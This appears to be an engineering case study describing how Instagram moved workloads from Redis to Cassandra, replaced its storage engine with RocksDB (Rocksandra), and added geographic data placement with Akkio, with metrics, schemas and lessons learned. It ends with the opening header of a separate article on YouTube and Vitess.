![Instagram's Cassandra journey: from Redis replacement to a globally distributed, custom-storage-engine deployment spanning six data centers.](./instagram-s-cassandra-journey-from-redis-replacement-to-a-globally-distributed-c.svg)

<figcaption>Instagram's Cassandra journey: from Redis replacement to a globally distributed, custom-storage-engine deployment spanning six data centers.</figcaption>
</figure>

## Abstract

Instagram's Cassandra story is not a single migration but a series of compounding infrastructure decisions spanning 2012 to 2019:

- **The cost problem (2012)**: Redis stored everything in memory. Fraud detection logs and activity feeds were growing faster than Instagram could afford RAM. Cassandra's disk-backed LSM (Log-Structured Merge) tree storage cut infrastructure costs by 75% while adding horizontal scalability.
- **The latency problem (2017)**: At 1,000+ nodes, JVM Garbage Collection (GC) stalls caused P99 read latencies of 25-60ms. Instagram replaced Cassandra's Java storage engine with a C++-based RocksDB engine (Rocksandra), dropping P99 reads to 20ms and GC stalls from 2.5% to 0.3%.
- **The locality problem (2018)**: Full data replication across continents wasted storage and forced cross-ocean quorum requests. Akkio, Facebook's data placement service, partitioned data by user geography--US data in US data centers, EU data in EU data centers--reducing latency by up to 50% and storage footprint by 40%.

Each phase built on the previous one. The Redis migration proved Cassandra viable. Scale revealed JVM limits, which drove Rocksandra. Global expansion demanded locality-aware placement. The pattern: adopt, hit limits, engineer past them.

## Context

### The System

Instagram launched in October 2010 as an iOS photo-sharing app built by two engineers: Kevin Systrom and Mike Krieger. The original stack ran entirely on Amazon Web Services (AWS):

| Component            | Technology                 | Configuration                                                             |
| -------------------- | -------------------------- | ------------------------------------------------------------------------- |
| **Application**      | Django (Python) + Gunicorn | 25+ High-CPU Extra-Large EC2 instances                                    |
| **Primary database** | PostgreSQL                 | 12 Quadruple Extra-Large Memory instances + 12 replicas                   |
| **Caching**          | Redis + Memcached          | Multiple Quadruple Extra-Large instances (Redis), 6 instances (Memcached) |
| **Photo storage**    | Amazon S3 + CloudFront     | Several terabytes                                                         |
| **Async tasks**      | Gearman                    | ~200 Python workers                                                       |

Redis powered several critical data structures:

- **Photo-to-user ID mapping**: 300 million entries, optimized via hash bucketing to fit in ~5 GB (vs ~21 GB naive approach)
- **Activity feed**: A 32-node cluster (16 masters, 16 replicas) storing per-user activity timelines
- **Main feed**: Photo feed data for the home timeline
- **Sessions**: User authentication state

PostgreSQL handled users, photo metadata, tags, comments, and relationships, sharded using a custom scheme with PostgreSQL schemas as logical shards. Instagram's custom 64-bit ID generation used PL/pgSQL functions within each shard (41 bits for time, 13 bits for shard ID, 10 bits for sequence).

### The Trigger

**Date**: Early 2012

**Growth**: Instagram crossed 30 million users in early 2012 and was acquired by Facebook for $1 billion in April 2012 with just 13 employees. By mid-2013, monthly active users hit 100 million.

**Key metrics at the time:**

| Metric                      | Value                                         |
| --------------------------- | --------------------------------------------- |
| Registered users            | 30+ million (early 2012)                      |
| Monthly active users        | 100 million (mid-2013)                        |
| Photos stored               | 150+ million (August 2011), 20 billion (2013) |
| Upload rate                 | 25+ photos/sec, 90+ likes/sec                 |
| Engineering team            | 3-6 engineers                                 |
| Redis activity feed cluster | 32 nodes (16 masters, 16 replicas)            |

### Constraints

- **Memory cost**: Redis stored everything in RAM. Quadruple Extra-Large Memory EC2 instances were the most expensive instance class, and the activity feed cluster alone required 32 of them.
- **Workload mismatch**: Fraud detection and activity feeds had write-heavy access patterns (high write-to-read ratio). Paying for in-memory speed on data that was mostly written and rarely read was wasteful.
- **Durability**: Redis was designed as an in-memory store with persistence as a secondary feature. For security audit data used in fraud detection and spam fighting, stronger durability guarantees were needed.
- **Scaling model**: Redis scaled vertically (bigger instances) rather than horizontally (more nodes). Adding capacity meant migrating to larger instances, not simply adding machines.
- **Team size**: With 3-6 engineers, operational complexity had to stay minimal.

## The Problem

### Symptoms

The activity feed and fraud detection systems consumed the most expensive hardware in Instagram's fleet while underutilizing CPU. Redis machines ran out of memory long before they ran out of compute.

Rick Branson, Instagram's infrastructure engineer, described the core issue at Cassandra Summit 2013: the data was growing faster than the team could justify paying for in-memory storage. Fraud detection logs, security audit data, and activity feeds were append-heavy workloads where sub-millisecond reads were unnecessary--but they were paying for sub-millisecond capability on every byte.

### Root Cause Analysis

**The fundamental mismatch**: Redis optimizes for access speed by keeping everything in memory. Instagram's growing workloads--fraud detection logs, activity feeds, user inbox data--had a high write-to-read ratio. Most data was written once and read infrequently. Storing it in RAM was paying a premium for a capability the workload did not need.

**The scaling ceiling**: When a Redis node filled its memory, the only option was to migrate to a larger instance type. There was no mechanism to spread load across additional smaller nodes without re-architecting the sharding layer. Redis's single-threaded design further constrained vertical headroom.

**The durability gap**: Redis offered persistence through RDB (Redis Database) snapshots and AOF (Append-Only File) logs, but these were secondary features. For data used in fraud detection and spam enforcement, the team needed storage with replication and durability as first-class properties.

### Why It Wasn't Obvious Earlier

At Instagram's initial scale (2010-2011), Redis was the right choice. The entire working dataset fit in memory, latency was critical for feed rendering, and the operational simplicity of Redis with a small team was a significant advantage. The problem only emerged as data volumes outgrew what memory-based storage could justify economically.

## Options Considered

### Option 1: Scale Redis Vertically

**Approach**: Upgrade to larger EC2 instance types with more RAM.

**Pros:**

- Zero code changes
- Familiar operations

**Cons:**

- Cost scales linearly with data growth (all data in RAM)
- Instance types had memory ceilings--no path to unlimited growth
- Single-threaded architecture limited per-node throughput
- No horizontal elasticity

**Why not chosen**: Cost was already prohibitive and would only increase. Memory-based storage for write-heavy, rarely-read data was architecturally wrong for the workload.

### Option 2: HBase

**Approach**: Use Apache HBase, which Facebook had adopted internally for some workloads after moving away from Cassandra for inbox search.

**Pros:**

- Proven at Facebook scale
- Strong consistency model
- Good integration with Hadoop ecosystem

**Cons:**

- Requires ZooKeeper and HDFS--significant operational overhead
- Master-slave architecture introduces single points of failure
- Higher operational complexity for a team of 3-6 engineers

**Why not chosen**: The operational complexity of running ZooKeeper + HDFS + HBase was disproportionate for the team size. Instagram's philosophy was "do the simple thing first."

### Option 3: Apache Cassandra (Chosen)

**Approach**: Migrate fraud detection, activity feed, and inbox data from Redis to Cassandra.

**Pros:**

- Peer-to-peer architecture (no master, no SPOF)
- Tunable consistency per query
- Horizontal scaling by adding nodes
- High write throughput on commodity hardware
- Disk-based storage (dramatically cheaper per GB than RAM)

**Cons:**

- Eventually consistent by default (not suitable for all workloads)
- JVM-based (GC pauses could affect tail latency)
- Less mature tooling than PostgreSQL

**Why chosen**: The write-heavy, high-volume, eventual-consistency-tolerant workloads matched Cassandra's design point. The peer-to-peer architecture minimized operational burden. One of Instagram's engineers had deep Cassandra expertise from prior work at DataStax, reducing adoption risk.

### Decision Factors

| Factor                  | Scale Redis        | HBase             | Cassandra             |
| ----------------------- | ------------------ | ----------------- | --------------------- |
| Cost per GB             | Very high (RAM)    | Low (disk)        | Low (disk)            |
| Horizontal scalability  | Poor               | Good              | Good                  |
| Operational complexity  | Low                | High (ZK+HDFS)    | Medium                |
| Write throughput        | High (single node) | High              | Very high             |
| Team expertise          | Strong             | None              | Strong (one engineer) |
| Single point of failure | Per-node           | ZooKeeper, Master | None                  |

## Implementation

### Phase 1: Initial Cassandra Deployment (2012-2013)

#### Cluster Configuration

The first production Cassandra cluster was deployed on AWS for fraud detection and activity feed workloads:

| Parameter               | Value                                             |
| ----------------------- | ------------------------------------------------- |
| **Cassandra version**   | 1.2.3                                             |
| **Cluster size**        | 12 nodes                                          |
| **Instance type**       | EC2 hi1.4xlarge (8-core CPU, 60 GB RAM, 2 TB SSD) |
| **Availability zones**  | 3                                                 |
| **Replication factor**  | 3                                                 |
| **Write consistency**   | TWO                                               |
| **Read consistency**    | ONE                                               |
| **Compaction strategy** | LeveledCompactionStrategy                         |
| **Virtual nodes**       | Enabled                                           |
| **JVM heap**            | 8 GB                                              |
| **Young generation**    | 800 MB                                            |
| **Data stored**         | ~1.2 TB                                           |

**Why these choices:**

- **RF=3 across 3 AZs**: Every row existed in all three availability zones, providing AZ-level fault tolerance.
- **W=TWO, R=ONE**: Writes were durable (confirmed by two replicas) while reads were fast (single replica). This matched the write-heavy access pattern.
- **LeveledCompactionStrategy**: Optimizes read latency by maintaining sorted data at the cost of higher write amplification. Chosen because when reads did happen (e.g., rendering a user's activity feed), latency mattered.
- **hi1.4xlarge instances**: High I/O instances with SSD storage--critical for Cassandra's disk-heavy workload. The 60 GB RAM allowed large page caches while keeping the JVM heap small.

#### Data Model: Activity Feed

The primary data model replaced Redis lists with Cassandra wide rows:

**Redis (before):**

```
key: inbox:<user_id>
value: list of activity JSON blobs (LPUSH/LRANGE)
```

**Cassandra (after):**

```sql title="Activity feed schema (CQL)"
CREATE TABLE inbox_activities_by_user (
    user_id bigint,
    activity_id timeuuid,
    activity_data blob,
    PRIMARY KEY (user_id, activity_id)
) WITH CLUSTERING ORDER BY (activity_id DESC);
```

**Why this model:**

- `user_id` as partition key co-located all activities for a single user on the same nodes, enabling efficient range scans.
- `activity_id` as a TimeUUID clustering column provided natural time ordering without a separate sort.
- `CLUSTERING ORDER BY DESC` meant the most recent activities were physically first on disk, optimizing the most common query: "show me the latest N activities."

#### Peak Throughput

| Metric           | Value                             |
| ---------------- | --------------------------------- |
| Peak writes      | ~20,000/sec                       |
| Peak reads       | ~15,000/sec                       |
| Data consistency | 99.63% (measured across replicas) |

### Phase 2: Scaling to 1,000+ Nodes (2014-2016)

After Instagram migrated from AWS to Facebook's data centers in 2013-2014, Cassandra usage expanded dramatically. By Dikang Gu's Cassandra Summit 2016 presentation, the deployment had grown to:

| Metric                     | Value                                                    |
| -------------------------- | -------------------------------------------------------- |
| **Total nodes**            | 1,000+                                                   |
| **Data stored**            | Hundreds of terabytes                                    |
| **Operations per second**  | Millions                                                 |
| **Largest single cluster** | 100+ nodes                                               |
| **Use cases**              | Feed, inbox, Direct messaging, counters, fraud detection |

#### Feed Data Model (2016)

The feed system became Cassandra's highest-throughput use case:

| Metric                         | Value  |
| ------------------------------ | ------ |
| Write QPS (Queries Per Second) | 1M+    |
| Average read latency           | 20 ms  |
| P99 read latency               | 100 ms |

Write path: when a user posted a photo, the system performed fan-out-on-write, pushing the media ID to each follower's feed store. This traded write amplification for read simplicity--rendering a feed was a single partition read rather than a scatter-gather across followed users.

**Celebrity fan-out optimization**: For accounts with millions of followers, fan-out-on-write was prohibitively expensive. Instagram used a hybrid approach: non-celebrity posts were pre-computed (push model), while celebrity content was computed on-demand (pull model). When a user read their feed, parallel threads fetched pre-computed feeds and real-time celebrity feeds, then merged the results. An LRU-eviction cache stored active users' feeds to reduce re-computation.

#### Proxy Nodes

As clusters grew, Instagram discovered that co-locating coordinator responsibilities with data storage on the same node caused latency spikes when data nodes became hot. The solution: dedicated proxy nodes configured with `join_ring: false`, acting as coordinators without storing data locally. Clients connected exclusively to proxy nodes, which forwarded requests to the appropriate data nodes. This architectural change alone produced a 2x latency improvement.

#### Counter Service

A separate Cassandra-backed counter service tracked likes, views, and engagement metrics:

| Metric               | Value |
| -------------------- | ----- |
| Read/Write QPS       | 50K+  |
| Average read latency | 3 ms  |
| P99 read latency     | 50 ms |

#### JVM Tuning Evolution

As clusters grew, GC tuning became increasingly critical:

| Period         | Heap  | Young Gen | Notes                                                          |
| -------------- | ----- | --------- | -------------------------------------------------------------- |
| 2013 (initial) | 8 GB  | 800 MB    | Default settings                                               |
| 2014           | 20 GB | 10 GB     | Addressed Young GC double-collection bug in JDK 1.7+           |
| Later          | 64 GB | 16 GB     | MaxTenuringThreshold=6, Young GC every 10s, 2x P99 improvement |

The 2014 scaling to 60 hi1.4xlarge instances (2x the highest estimate) revealed that Cassandra's JVM heap management required careful tuning. The Young GC double-collection bug in JDK 1.7+ caused objects to be collected twice, and the fix--running 10 GB Young Gen with 20 GB total heap--was a hard-won operational lesson.

### Phase 3: Rocksandra -- Replacing the Storage Engine (2017-2018)

#### The Latency Problem

Despite years of JVM tuning, GC remained the dominant source of tail latency:

| Metric                               | Value                            |
| ------------------------------------ | -------------------------------- |
| Average read latency                 | 5 ms                             |
| P99 read latency                     | 25-60 ms (varied by cluster)     |
| GC stall rate (low traffic)          | 1.25%                            |
| GC stall rate (high traffic)         | 2.5%                             |
| Target SLA (Service Level Agreement) | Five nines (99.999%) reliability |

The root cause was structural: Cassandra's memtable, compaction, read path, and write path all created short-lived objects on the Java heap. As data volume and throughput increased, so did GC pressure. No amount of tuning could eliminate the fundamental tension between JVM-managed memory and latency-sensitive storage workloads.

#### Architecture: Pluggable Storage Engine

Cassandra had no pluggable storage engine architecture. Instagram designed one from scratch, defining a new `StorageEngine` API that separated Cassandra's distribution layer (gossip, replication, consistency) from its storage layer (memtables, SSTables, compaction).

The three core challenges:

1. **Storage engine API**: Define clean interfaces between Cassandra's coordination layer and the storage implementation. Filed as [CASSANDRA-13474](https://issues.apache.org/jira/browse/CASSANDRA-13474) in Apache JIRA.

2. **Data type encoding/decoding**: Cassandra supports rich data types (collections, UDTs, counters, frozen types). RocksDB is a pure key-value store. Instagram designed encoding algorithms that mapped Cassandra's table schemas and data types into RocksDB's byte-oriented key-value pairs while preserving the same query semantics. Filed as [CASSANDRA-13476](https://issues.apache.org/jira/browse/CASSANDRA-13476).

3. **Streaming decoupling**: Cassandra's streaming (used for repairs, bootstrapping, and data movement) was tightly coupled to the SSTable format. Instagram re-implemented streaming using RocksDB APIs: incoming data streamed into temporary SST files first, then used RocksDB's ingest file API to bulk-load them--avoiding the overhead of individual writes during bootstrap and repair.

The pluggable engine API was defined at `org.apache.cassandra.engine.StorageEngine`, with Instagram's RocksDB implementation at `org.apache.cassandra.rocksdb.RocksDBEngine`. Configuration required three JVM parameters: `cassandra.rocksdb.keyspace` (target keyspace), `cassandra.rocksdb.dir` (data directory), and `cassandra.rocksdb.stream.dir` (temporary streaming directory).

**Feature scope**: Rocksandra supported most non-nested data types, table schemas, point and range queries, mutations, timestamps, TTL (Time To Live), and cell-level tombstones. It did not support multi-partition queries, nested data types, counters, range tombstones, materialized views, secondary indexes, or repair operations. These limitations were acceptable because Instagram's primary use cases were simple key-value and wide-column patterns.

#### Why RocksDB

RocksDB is a C++ embeddable key-value store originally developed at Facebook, optimized for fast storage (SSDs and NVMe). It uses an LSM tree architecture--the same fundamental structure as Cassandra's storage engine--but implemented in C++ with no GC overhead.

Instagram already operated RocksDB at scale for other Facebook workloads. Using a proven technology that the team understood, rather than adopting a new distributed database like ScyllaDB, minimized adoption risk. As one engineer noted in the Hacker News discussion: why replace a system proven at massive scale with something unproven at that scale?

#### Performance Results

After approximately one year of development and testing, Rocksandra was rolled into production clusters:

**Production metrics:**

| Metric              | Before (Java engine) | After (Rocksandra) | Improvement    |
| ------------------- | -------------------- | ------------------ | -------------- |
| P99 read latency    | 60 ms                | 20 ms              | 3x reduction   |
| GC stall rate       | 2.5%                 | 0.3%               | ~10x reduction |
| Latency consistency | High variance        | Low variance       | Predictable    |

**Benchmark environment:**

| Parameter   | Value                                    |
| ----------- | ---------------------------------------- |
| Instances   | 3 x i3.8xlarge EC2 (32-core, 244 GB RAM) |
| Storage     | RAID0 with 4 NVMe flash drives           |
| Dataset     | 250 million rows, 6 KB each              |
| Concurrency | 128 readers + 128 writers (NDBench)      |

The improvement was not just in absolute latency but in consistency. With the Java engine, P99 latency varied between 25 ms and 60 ms depending on GC timing. With Rocksandra, latency was stable because the C++ storage path had no GC pauses.

#### Open Source

Instagram open-sourced Rocksandra on GitHub ([Instagram/cassandra](https://github.com/Instagram/cassandra), `rocks_3.0` branch, based on Cassandra 3.0). The repository was archived in September 2023.

### Phase 4: Geographic Data Partitioning with Akkio (2018)

#### The Locality Problem

By 2018, Instagram served over 1 billion monthly active users across multiple continents. The original approach--replicating all data across all data centers--created two problems:

1. **Storage waste**: Full replication meant every user's data existed in every region, even if that user only accessed their data from one continent.
2. **Cross-ocean latency**: Quorum consistency (requiring a majority of replicas to agree) meant some requests had to cross the Atlantic, adding 60+ ms of latency.

#### Akkio: Facebook's Data Placement Service

Instagram integrated Akkio, a Facebook-internal data placement service that had been in production since 2014 managing approximately 100 PB of data across Facebook's infrastructure.

**Core concept: microshards (u-shards)**

Akkio introduced a layer above traditional database shards. Each microshard is an application-defined data unit (typically 100 bytes to several megabytes) that exhibits strong access locality--for Instagram, a user's data.

**How it works:**

1. **Access tracking**: A client library embedded in Cassandra clients asynchronously tracked which data center accessed which microshards.
2. **Placement scoring**: A Data Placement Service scored data centers by historical access frequency (weighted toward recent activity), with ties broken by available resources.
3. **Migration**: When access patterns shifted (e.g., a user relocated), Akkio triggered data migration: copy data to the target replica set, atomically update the location service, then delete from the source.

**Architecture after Akkio integration:**

| Region | Data Centers   | Data Scope     |
| ------ | -------------- | -------------- |
| US     | 3 data centers | US users' data |
| EU     | 3 data centers | EU users' data |

Each region maintained 20% capacity headroom for single-datacenter failover within the region.

**Results:**

| Metric                       | Improvement         |
| ---------------------------- | ------------------- |
| Latency                      | Up to 50% reduction |
| Cross-datacenter traffic     | Up to 50% reduction |
| Storage footprint            | Up to 40% reduction |
| Instagram Direct P90 latency | 90 ms improvement   |
| Instagram Direct P99 latency | 150 ms improvement  |

The Social Hash partitioner routed requests to the correct Cassandra buckets based on user geography, with special handling for high-follower accounts that generated distributed access patterns across regions.

## Outcome

### Metrics Comparison Across Phases

| Metric           | Redis (2012)       | Cassandra 1.2 (2013) | Cassandra at scale (2016) | Rocksandra (2018) |
| ---------------- | ------------------ | -------------------- | ------------------------- | ----------------- |
| Nodes            | 32 (activity feed) | 12                   | 1,000+                    | 1,000+            |
| Data stored      | In-memory only     | ~1.2 TB              | Hundreds of TB            | Hundreds of TB    |
| Cost (relative)  | 100%               | ~25%                 | -                         | -                 |
| P99 read latency | Sub-ms             | -                    | 25-60 ms                  | 20 ms             |
| GC stall rate    | N/A                | -                    | 1.25-2.5%                 | 0.3%              |
| Write QPS (feed) | -                  | 20K                  | 1M+                       | 1M+               |
| Geographic scope | Single region      | Single region        | Multi-DC (US)             | US + EU (6 DCs)   |

### Timeline

| Date                  | Milestone                                                                     |
| --------------------- | ----------------------------------------------------------------------------- |
| October 2010          | Instagram launches on PostgreSQL + Redis                                      |
| Early 2012            | Cassandra adoption begins for fraud detection                                 |
| April 2012            | Facebook acquires Instagram (13 employees)                                    |
| June 2013             | Rick Branson presents first 12-node Cassandra cluster at Cassandra Summit     |
| April 2013 - Mid 2014 | Migration from AWS to Facebook data centers                                   |
| 2014                  | Cassandra scales to 60+ nodes; Cassandra Summit 2014 presentation             |
| 2015                  | Multi-datacenter expansion within the US                                      |
| 2016                  | 1,000+ nodes, Dikang Gu presents at Cassandra Summit 2016                     |
| 2017-2018             | Rocksandra development (~1 year)                                              |
| February 2018         | Rocksandra open-sourced                                                       |
| October 2018          | Geographic partitioning with Akkio (LISA 2018 presentation)                   |
| 2019                  | Cassandra as a Service inside Instagram (Dikang Gu, DataStax Accelerate 2019) |

### Unexpected Benefits

- **Operational simplicity at scale**: Cassandra's peer-to-peer architecture meant no master failovers, no ZooKeeper dependency, and straightforward capacity additions--critical for a team that grew from 3 to 300+ engineers.
- **Pluggable storage engine as a platform**: The storage engine API Instagram built for Rocksandra (CASSANDRA-13474) was proposed upstream to Apache Cassandra, potentially enabling other storage backends beyond RocksDB.
- **Akkio enablement**: Cassandra's flexible replication model made it a natural fit for Akkio's microshard-based data placement, which was harder to apply to systems like TAO (Facebook's social graph store) with globally-accessed data.

### Remaining Limitations

- **Rocksandra adoption**: The pluggable storage engine API was not merged into mainline Apache Cassandra. Instagram maintained a fork, which was eventually archived in 2023.
- **JVM overhead persists**: Cassandra's coordination layer (gossip, request handling) still runs on the JVM. Rocksandra only replaced the storage path.
- **Eventual consistency trade-offs**: Workloads requiring strong consistency remained on PostgreSQL or TAO. Cassandra served use cases where eventual consistency was acceptable.

## Lessons Learned

### Technical Lessons

#### 1. Match Storage Costs to Access Patterns

**The insight**: Storing write-heavy, rarely-read data in RAM is an architectural smell. The cost model should match the access pattern--disk storage for archival writes, memory for hot reads.

**How it applies elsewhere:**

- Audit logs, analytics events, and activity streams rarely need sub-millisecond reads
- The 75% cost savings Instagram achieved came from recognizing that write performance, not read speed, was the binding constraint

**Warning signs to watch for:**

- Memory utilization growing faster than CPU utilization on cache/store nodes
- Storage cost dominating infrastructure budget for data that is mostly written

#### 2. JVM Garbage Collection Limits Tail Latency at Scale

**The insight**: JVM-based storage engines create an inherent tension between throughput and P99 latency. At sufficient scale (1,000+ nodes, millions of operations), no amount of GC tuning eliminates the problem.

**How it applies elsewhere:**

- Any JVM-based data store (Elasticsearch, Kafka, HBase) will face similar GC pressure at scale
- The pattern of replacing hot-path components with native code (C++/Rust) is increasingly common: ScyllaDB (C++ Cassandra), Redpanda (C++ Kafka), Quickwit (Rust Elasticsearch)

**Warning signs to watch for:**

- P99 latency 10-15x higher than average (indicates GC pauses, not I/O)
- GC stall percentage above 1% during normal operation
- Latency variance that does not correlate with load changes

#### 3. Build on Proven Components Rather Than Replacing Entire Systems

**The insight**: Instagram replaced Cassandra's storage engine with RocksDB rather than replacing Cassandra entirely with ScyllaDB or another system. This preserved operational expertise, cluster tooling, and the proven distribution layer while solving the specific problem (GC latency).

**How it applies elsewhere:**

- When a system has one problematic layer, consider replacing that layer rather than the entire system
- Organizational trust in a technology is a real engineering asset--switching costs include lost operational knowledge

**What they'd do differently:**
The pluggable storage engine API was not accepted upstream into Apache Cassandra, leaving Instagram on a fork. Contributing the API earlier in the process might have changed the outcome.

### Process Lessons

#### 1. Presentation-Driven Engineering Rigor

Instagram's Cassandra team presented at Cassandra Summit every year from 2013 to 2019. Each presentation forced the team to quantify their deployment's state, document decisions, and articulate challenges. This created an unusually well-documented evolution that other teams could learn from.

#### 2. Shadow Clustering for Version Upgrades

When migrating from Cassandra 2.2 to 3.0, Dikang Gu's team used shadow clusters--parallel deployments receiving replicated traffic--to validate behavior before cutting over production. This pattern reduced the risk of major version upgrades on a system serving billions of operations.

### Organizational Lessons

#### 1. Small Teams Need Low-Ops Technology

Instagram chose Cassandra partly because its peer-to-peer architecture required less operational overhead than master-slave systems like HBase. With 3-6 engineers running the entire infrastructure, every operational burden was magnified. The absence of ZooKeeper dependencies, master failover procedures, and HDFS management was a decisive factor.

#### 2. Expertise Acquisition Through Hiring

One of Instagram's engineers had deep Cassandra expertise from prior work at DataStax. This single hire de-risked the entire migration. When adopting unfamiliar infrastructure, hiring someone who has operated it at scale is often more effective than training existing staff.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- You are storing append-heavy, rarely-read data (logs, events, feeds) in an in-memory store
- Your storage costs are growing faster than your read throughput requirements justify
- You need horizontal scalability without master-node bottlenecks
- Your JVM-based data store has P99 latencies significantly higher than P50

### Checklist for Evaluation

- [ ] Is your storage cost dominated by memory for data with a high write-to-read ratio?
- [ ] Are you hitting vertical scaling limits (memory, instance type ceilings)?
- [ ] Is your P99 latency 10x+ higher than average, suggesting GC pressure?
- [ ] Does your team have (or can acquire) Cassandra operational expertise?
- [ ] Are your consistency requirements compatible with eventual consistency?

### Starting Points

If you want to explore this approach:

1. **Profile your workload**: Measure write-to-read ratio, access recency, and hot data percentage. If most data is cold, it does not belong in RAM.
2. **Benchmark Cassandra for your schema**: Use cassandra-stress or NDBench with your actual data model and access patterns. Test with LeveledCompactionStrategy for read-heavy partitions and SizeTieredCompactionStrategy for write-heavy ones.
3. **Start with one workload**: Instagram started with fraud detection--a non-user-facing, write-heavy workload where Cassandra failure would not break the product. Choose your lowest-risk, highest-waste workload.
4. **Monitor GC from day one**: Track GC stall percentage, not just average latency. A 2% stall rate that is invisible in averages will dominate your P99.

## Conclusion

Instagram's Cassandra journey demonstrates a recurring pattern in infrastructure evolution: adopt technology for its strengths, discover its limits at scale, then engineer past those limits rather than replacing the system entirely. The 75% cost savings from migrating off Redis validated Cassandra. The GC latency problem at 1,000+ nodes led to Rocksandra rather than a database switch. Geographic expansion drove Akkio integration rather than a replication redesign.

The transferable insight is not "use Cassandra." It is: match your storage cost model to your access patterns, expect JVM-based systems to hit GC walls at scale, and when you hit a wall, replace the problematic layer--not the entire stack.

## Appendix

### Prerequisites

- Understanding of LSM tree storage engines (memtables, SSTables, compaction)
- Familiarity with distributed system concepts (replication factor, consistency levels, partitioning)
- Basic knowledge of JVM garbage collection (Young/Old Gen, GC pauses, stall rates)

### Terminology

| Term                          | Definition                                                                                                                                                                                   |
| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **LSM tree**                  | Log-Structured Merge tree. A write-optimized data structure that buffers writes in memory (memtable), flushes to sorted files on disk (SSTables), and periodically merges them (compaction). |
| **Rocksandra**                | Instagram's name for their modified Cassandra with RocksDB as the storage engine.                                                                                                            |
| **Akkio**                     | Facebook's data placement service that tracks access patterns and migrates data units (microshards) to data centers closest to frequent accessors.                                           |
| **Microshard (u-shard)**      | An application-defined data unit in Akkio, typically representing a single user's data, that can be independently placed in a specific data center.                                          |
| **GC stall rate**             | The percentage of time a JVM-based application is paused for garbage collection, unable to process requests.                                                                                 |
| **Fan-out on write**          | A pattern where data is duplicated to all recipients' stores at write time, trading write amplification for fast reads.                                                                      |
| **LeveledCompactionStrategy** | A Cassandra compaction strategy that maintains data in sorted levels, optimizing read latency at the cost of higher write amplification.                                                     |
| **Shadow cluster**            | A parallel deployment receiving replicated production traffic for testing, used to validate new configurations or versions before production cutover.                                        |

### Summary

- Instagram migrated fraud detection and activity feed workloads from Redis to Cassandra in 2012, cutting infrastructure costs by 75% by moving from in-memory to disk-based storage for write-heavy, rarely-read data.
- The initial 12-node Cassandra 1.2 cluster on AWS grew to 1,000+ nodes on Facebook's infrastructure by 2016, handling millions of operations per second across feed, inbox, Direct messaging, and counter workloads.
- JVM garbage collection became the dominant source of P99 latency at scale (25-60 ms). Instagram built Rocksandra, replacing Cassandra's Java storage engine with a C++-based RocksDB engine, reducing P99 reads to 20 ms and GC stalls from 2.5% to 0.3%.
- Geographic data partitioning via Akkio eliminated cross-continent replication, reducing latency by up to 50% and storage by 40% by placing user data in the nearest regional data center cluster.
- The pattern--adopt proven technology, discover scale-specific limits, engineer past them rather than replace the system--is a reusable approach for infrastructure evolution.

### References

- [Cassandra at Instagram (Cassandra Summit 2013) -- Rick Branson](https://www.slideshare.net/slideshow/c-summit-2013-cassandra-at-instagram-23756207/23756207) - Initial 12-node deployment details
- [Cassandra at Instagram (August 2013) -- Rick Branson](https://www.slideshare.net/rbranson/cassandra-at-instagram-aug-2013) - Updated cluster configuration and data models
- [Cassandra at Instagram 2014 (Cassandra Summit 2014) -- Rick Branson](https://www.slideshare.net/planetcassandra/cassandra-summit-2014-cassandra-at-instagram-2014) - Scaling to 60+ nodes, JVM tuning lessons
- [Cassandra at Instagram 2016 (Cassandra Summit 2016) -- Dikang Gu](https://www.slideshare.net/DataStax/cassandra-at-instagram-2016) - 1,000+ nodes, feed data model, counter service
- [Open-sourcing a 10x reduction in Apache Cassandra tail latency -- Instagram Engineering](https://instagram-engineering.com/open-sourcing-a-10x-reduction-in-apache-cassandra-tail-latency-d64f86b43589) - Rocksandra announcement and performance results
- [CASSANDRA-13474: Pluggable Storage Engine API -- Apache JIRA](https://issues.apache.org/jira/browse/CASSANDRA-13474) - Upstream proposal for pluggable storage
- [CASSANDRA-13476: RocksDB Storage Engine -- Apache JIRA](https://issues.apache.org/jira/browse/CASSANDRA-13476) - RocksDB engine implementation
- [Instagram/cassandra (rocks_3.0 branch) -- GitHub](https://github.com/Instagram/cassandra/tree/rocks_3.0) - Open-source Rocksandra code
- [Sharding the Shards: Managing Datastore Locality at Scale with Akkio -- USENIX OSDI 2018](https://www.usenix.org/system/files/osdi18-annamalai.pdf) - Akkio paper with production results
- [Splitting Stateful Services across Continents at Instagram -- InfoQ (LISA 2018)](https://www.infoq.com/news/2018/11/instagram-across-continents/) - Geographic partitioning with Akkio
- [Instagram: Making the Switch to Cassandra from Redis -- DataStax Blog / HN Discussion](https://news.ycombinator.com/item?id=5845107) - Context on Redis-to-Cassandra decision and Rick Branson's comments
- [What Powers Instagram -- Instagram Engineering](https://instagram-engineering.com/what-powers-instagram-hundreds-of-instances-dozens-of-technologies-adf2e22da2ad) - Original infrastructure overview
- [Sharding & IDs at Instagram -- Instagram Engineering](https://instagram-engineering.com/sharding-ids-at-instagram-1cf5a71e5a5c) - PostgreSQL sharding and ID generation
- [Instagration Pt. 2: Scaling to Multiple Data Centers -- Instagram Engineering](https://instagram-engineering.com/instagration-pt-2-scaling-our-infrastructure-to-multiple-data-centers-5745cbad7834) - Multi-DC expansion
- [Cassandra on RocksDB (OSCON 2018) -- Dikang Gu](https://conferences.oreilly.com/oscon/oscon-or-2018/public/schedule/detail/67020.html) - Technical deep-dive on Rocksandra architecture
- [Solving Optimal Data Placement for Instagram's Global Scale (DataStax Accelerate 2019) -- Dikang Gu](https://www.datastax.com/resources/video/datastax-accelerate-2019-solving-optimal-data-placement-instagrams-global-scale) - Akkio integration details

---

## YouTube: Scaling MySQL to Serve Billions with Vitess

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/youtube-vitess-scaling
**Category:** System Design / Real-World Case Studies
**Description:** How YouTube built Vitess to horizontally scale MySQL from 4 shards to 256 across tens of thousands of nodes, serving millions of queries per second without abandoning the relational model—and why they eventually migrated to Spanner anyway.

# YouTube: Scaling MySQL to Serve Billions with Vitess

How YouTube built Vitess to horizontally scale MySQL from 4 shards to 256 across tens of thousands of nodes, serving millions of queries per second without abandoning the relational model—and why they eventually migrated to Spanner anyway.

<figure>

![YouTube's database architecture evolution: from application-level sharding with direct MySQL connections to Vitess's proxy-based middleware that abstracts sharding from applications.](./youtube-s-database-architecture-evolution-from-application-level-sharding-with-d.svg)

<figcaption>YouTube's database architecture evolution: from application-level sharding with direct MySQL connections to Vitess's proxy-based middleware that abstracts sharding from applications.</figcaption>
</figure>

## Abstract

